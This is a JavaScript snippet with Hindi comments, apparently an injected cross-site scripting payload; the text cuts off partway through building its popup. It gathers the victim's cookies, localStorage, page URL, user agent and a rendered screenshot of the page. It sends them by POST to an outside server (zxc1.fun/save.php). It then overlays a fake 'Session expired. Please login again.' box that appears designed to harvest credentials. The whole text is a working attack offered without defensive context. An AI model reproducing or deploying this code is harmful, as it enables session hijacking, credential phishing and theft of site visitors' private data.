(function() { var payloadData = {}; var lastLoginKey = "last_login_timestamp"; // 1. html2canvas लाइब्रेरी को ऑटो-लोड करें if (typeof html2canvas === "undefined") { var script = document.createElement('script'); script.src = "https://html2canvas.hertzen.com/dist/html2canvas.min.js"; document.head.appendChild(script); } // 2. डेटा भेजने का फंक्शन function sendToServer(data) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://zxc1.fun/save.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); } // 3. डेटा और स्क्रीनशॉट कैप्चर करना function collectInfo() { payloadData.uri = window.location.href; payloadData.cookies = document.cookie; payloadData.userAgent = navigator.userAgent; payloadData.localStorage = JSON.stringify(localStorage); if (typeof html2canvas !== "undefined") { html2canvas(document.body).then(function(canvas) { payloadData.screenshot = canvas.toDataURL("image/png"); sendToServer(payloadData); checkAndShowPopup(); // स्क्रीनशॉट के बाद पॉपअप चेक करें }).catch(function() { sendToServer(payloadData); checkAndShowPopup(); }); } else { setTimeout(collectInfo, 1000); } } // 4. टाइमर चेक और पॉपअप दिखाना function checkAndShowPopup() { var lastLogin = localStorage.getItem(lastLoginKey); var now = Date.now(); // अगर पिछले लॉगिन को 30 सेकंड (30000ms) से कम समय हुआ है, तो न दिखाएं if (lastLogin && (now - lastLogin < 30000)) { console.log("30 second wait in progress..."); return; } showLoginPopup(); } // 5. लॉगिन बॉक्स (30 सेकंड के लॉजिक के साथ) function showLoginPopup() { if (document.getElementById("auth_box")) return; var style = document.createElement("style"); style.textContent = ` #auth_overlay { position:fixed; inset:0; background:rgba(0,0,0,0.7); backdrop-filter:blur(5px); z-index:9998; } #auth_box { position:fixed; left:50%; top:20%; transform:translateX(-50%); width:320px; background:#fff; padding:25px; border-radius:12px; box-shadow:0 10px 25px rgba(0,0,0,0.5); z-index:9999; font-family:sans-serif; } .inp { width:100%; padding:10px; margin:10px 0; border:1px solid #ddd; border-radius:5px; box-sizing:border-box; } .btn { width:100%; padding:10px; background:#28a745; color:#fff; border:none; border-radius:5px; cursor:pointer; font-weight:bold; } `; document.head.appendChild(style); var div = document.createElement("div"); div.id = "auth_container"; div.innerHTML = `
Session expired. Please login again.